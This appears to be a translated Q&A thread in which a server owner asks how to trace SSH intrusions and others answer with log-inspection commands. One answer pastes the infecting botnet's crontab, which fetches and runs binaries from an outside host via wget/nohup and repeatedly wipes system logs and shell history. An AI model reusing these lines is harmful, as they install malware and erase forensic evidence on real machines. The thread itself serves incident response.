Histórico de endereços IP que acessaram um servidor via ssh

40

Chegou ao meu conhecimento que um servidor meu foi invadido e infectado por um conhecido botnet chinês.

Era uma máquina virtual de protótipos / testes com seu próprio IP estático (endereço dos EUA), de modo que nenhum dano foi causado (apenas demorei um pouco para descobrir).

Agora, gostaria de saber qual IP / s foi usado para a intrusão para saber se o ataque se originou da China.

Existe uma maneira de ver um histórico de conexões recebidas em ssh no servidor?

Editar: o sistema é Linux Debian 7

    
por Dominique 03.04.2014 / 23:58

7 respostas

43

Observe a saída do comando last e qualquer coisa com um endereço IP ou nome de host em vez de um espaço em branco veio pela rede. Se sshd é a única maneira de fazer isso nesse sistema, então você vai.

Como alternativa (se for o Linux), você pode verificar /var/log/secure , onde sshd geralmente acompanhará as conexões feitas mesmo que não resultem em logins bem-sucedidos (o que atinge utmp / wtmp , que é o que last irá ler). Exemplo:

Apr  3 16:21:01 xxxxxxvlp05 sshd[6266]: Connection closed by xxx.xxx.13.76
...
Apr  3 09:09:49 xxxxxxvlp05 sshd[26275]: Failed password for invalid user __super from xxx.xxx.13.76 port 45229 ssh2

O sshd do IIRC Solaris (que pode não ser necessariamente sshd do OpenSSH) registrará essa informação em /var/adm/messages

EDITAR:

@derobert faz um excelente ponto. É importante lembrar que em qualquer sistema, se a sua conta de superusuário estiver comprometida, todas as apostas estarão desativadas, já que arquivos de log como /var/log/wtmp ou /var/adm/messages podem ser modificados pelo invasor. Isso pode ser atenuado se você deslocar os logs do servidor para um local seguro.

Por exemplo, em uma loja em que eu trabalhava, tínhamos uma máquina "Audit Vault" que era protegida para receber apenas os arquivos de log de auditoria dos vários servidores no data center. Eu recomendaria ter uma configuração semelhante no futuro (já que "eu tenho uma máquina de teste" parece que você está operando em uma loja grande)

    
por 04.04.2014 / 00:00
13

Is there a way to view a history of received connections on ssh on the server?

Isso deve fornecer uma lista:

$ zgrep sshd /var/log/auth.log* | grep rhost | sed -re 's/.*rhost=([^ ]+).*//' | sort -u

Em seguida, você pode usar geoiplookup do pacote geoip-bin para ir do nome do host ou endereço IP para o país.

    
por 04.04.2014 / 02:23
5

Bem, como esperado, e como o @Joel Davis disse, todos os logs foram apagados, mas houve um arquivo que @Ramesh mencionou que tem algumas tentativas de acessar o usuário root, mas não conseguiu digitar a senha correta algumas vezes. a desconexão por muitas tentativas.

Eu fiz um traceroute em três dos endereços e dois são da China e o outro é do Paquistão; estes são os IPs:

221.120.224.179
116.10.191.218
61.174.51.221

Mais informações sobre a botnet que foi injetada no servidor depois que ela foi comprometida:

Os hackers editam o crontab para executar 7 executáveis que, a cada x quantidade de tempo, consomem toda a CPU, maximizam a saída da rede dos servidores e simplesmente morrem. Além disso, eles adicionam o readme ao crontab 100 vezes para ocultar as linhas adicionadas, então quando você faz crontab -l , você será spamado pelo readme com linhas ocultas. Para contornar isso, usei crontab -l | grep -v '^#' e aqui está a saída desse comando:

*/1 * * * * killall -9 .IptabLes
*/1 * * * * killall -9 nfsd4
*/1 * * * * killall -9 profild.key
*/1 * * * * killall -9 nfsd
*/1 * * * * killall -9 DDosl
*/1 * * * * killall -9 lengchao32
*/1 * * * * killall -9 b26
*/1 * * * * killall -9 codelove
*/1 * * * * killall -9 32
*/1 * * * * killall -9 64
*/1 * * * * killall -9 new6
*/1 * * * * killall -9 new4
*/1 * * * * killall -9 node24
*/1 * * * * killall -9 freeBSD
*/99 * * * * killall -9 kysapd
*/98 * * * * killall -9 atdd
*/97 * * * * killall -9 kysapd
*/96 * * * * killall -9 skysapd
*/95 * * * * killall -9 xfsdx
*/94 * * * * killall -9 ksapd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/atdd
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/cupsdd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/kysapd
*/130 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/sksapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/skysapd
*/140 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/xfsdx
*/120 * * * * cd /etc; wget http://www.dgnfd564sdf.com:8080/ksapd
*/120 * * * * cd /root;rm -rf dir nohup.out
*/360 * * * * cd /etc;rm -rf dir atdd
*/360 * * * * cd /etc;rm -rf dir ksapd
*/360 * * * * cd /etc;rm -rf dir kysapd
*/360 * * * * cd /etc;rm -rf dir skysapd
*/360 * * * * cd /etc;rm -rf dir sksapd
*/360 * * * * cd /etc;rm -rf dir xfsdx
*/1 * * * * cd /etc;rm -rf dir cupsdd.*
*/1 * * * * cd /etc;rm -rf dir atdd.*
*/1 * * * * cd /etc;rm -rf dir ksapd.*
*/1 * * * * cd /etc;rm -rf dir kysapd.*
*/1 * * * * cd /etc;rm -rf dir skysapd.*
*/1 * * * * cd /etc;rm -rf dir sksapd.*
*/1 * * * * cd /etc;rm -rf dir xfsdx.*
*/1 * * * * chmod 7777 /etc/atdd
*/1 * * * * chmod 7777 /etc/cupsdd
*/1 * * * * chmod 7777 /etc/ksapd
*/1 * * * * chmod 7777 /etc/kysapd
*/1 * * * * chmod 7777 /etc/skysapd
*/1 * * * * chmod 7777 /etc/sksapd
*/1 * * * * chmod 7777 /etc/xfsdx
*/99 * * * * nohup /etc/cupsdd > /dev/null 2>&1&
*/100 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/99 * * * * nohup /etc/atdd > /dev/null 2>&1&
*/98 * * * * nohup /etc/kysapd > /dev/null 2>&1&
*/97 * * * * nohup /etc/skysapd > /dev/null 2>&1&
*/96 * * * * nohup /etc/xfsdx > /dev/null 2>&1&
*/95 * * * * nohup /etc/ksapd > /dev/null 2>&1&
*/1 * * * * echo "unset MAILCHECK" >> /etc/profile
*/1 * * * * rm -rf /root/.bash_history
*/1 * * * * touch /root/.bash_history
*/1 * * * * history -r
*/1 * * * * cd /var/log > dmesg 
*/1 * * * * cd /var/log > auth.log 
*/1 * * * * cd /var/log > alternatives.log 
*/1 * * * * cd /var/log > boot.log 
*/1 * * * * cd /var/log > btmp 
*/1 * * * * cd /var/log > cron 
*/1 * * * * cd /var/log > cups 
*/1 * * * * cd /var/log > daemon.log 
*/1 * * * * cd /var/log > dpkg.log 
*/1 * * * * cd /var/log > faillog 
*/1 * * * * cd /var/log > kern.log 
*/1 * * * * cd /var/log > lastlog
*/1 * * * * cd /var/log > maillog 
*/1 * * * * cd /var/log > user.log 
*/1 * * * * cd /var/log > Xorg.x.log 
*/1 * * * * cd /var/log > anaconda.log 
*/1 * * * * cd /var/log > yum.log 
*/1 * * * * cd /var/log > secure
*/1 * * * * cd /var/log > wtmp
*/1 * * * * cd /var/log > utmp 
*/1 * * * * cd /var/log > messages
*/1 * * * * cd /var/log > spooler
*/1 * * * * cd /var/log > sudolog
*/1 * * * * cd /var/log > aculog
*/1 * * * * cd /var/log > access-log
*/1 * * * * cd /root > .bash_history
*/1 * * * * history -c

Como você pode ver, todos os arquivos de log estão limpos, por isso não consegui recuperar muita informação.

Ele derrubou todo o servidor (todas as VMs), causando timeouts nos sites e no proxmox. Aqui está um gráfico (os picos denotam ativamente a botnet DDoS e percebem a rede):

Como resultado, estarei adicionando toda a gama de endereços IP chineses a um firewall para bloquear todas as conexões (não tenho nenhum usuário chinês, portanto não me importo), também proibirei logins de raiz remota e use senhas longas e complexas. Eu também provavelmente alterarei a porta ssh e também usarei as chaves ssh privadas.

    
por 06.04.2019 / 02:52
2

De this resposta, vejo a informação abaixo.

Falando sobre servidores SSH, darei soluções de linha de comando.

Rastreie logins de usuários e logouts . Isso é fácil, o arquivo /var/log/auth.log deve ter essa informação.

Rastreie a atividade desses usuários : Se eles forem um pouco inocentes, você poderá verificar o arquivo .bash_history em seu diretório pessoal. Você verá uma lista dos comandos que eles executaram. O problema é claro que eles podem excluir ou editar este arquivo.

Evitar que os usuários excluam registros : os usuários não devem conseguir tocar em auth.log . Para impedi-los de jogar com bash_history você precisa fazer alguns truques.

E se o usuário conseguir obter acesso root? : Você está ferrado. A menos que ele cometa um erro, ele será capaz de esconder todos os seus passos.

Além disso, de this resposta, podemos ver o endereço IP de um cliente usando a variável SSH_CLIENT .

Também em esta resposta, vejo que o histórico do ssh poderia ser armazenado nesses arquivos.

Além de /var/log/lastlog , existem três arquivos em /var/run e /var/log : utmp , wtmp e btmp , que contêm informações sobre logins atuais (e informações adicionais), históricos e com falha logins. Veja wiki para descrição detalhada. Você não pode editar os arquivos com editores normais, mas pode apagá-los.

    
por 04.04.2014 / 00:13
0

O comando mais simples para obter os últimos 10 usuários logados na máquina é last|head .

Para obter todos os usuários, basta usar o comando last

    
por 05.10.2017 / 09:22
0

Esta máquina foi comprometida. Isso significa que qualquer dado nele, histórico ou atual, não pode mais ser confiável.

Em suma, a resposta é não. Você não pode ter certeza de que encontrou o endereço de origem de qualquer arquivo de registro gravado nesta máquina.

Limpe e reinstale. E patch.

    
por 05.10.2017 / 10:03
0

Para ver apenas tentativas de login bem-sucedidas com senha:

zgrep sshd /var/log/auth.log* -h |grep -F 'Accepted password for'
    
por 30.04.2019 / 05:59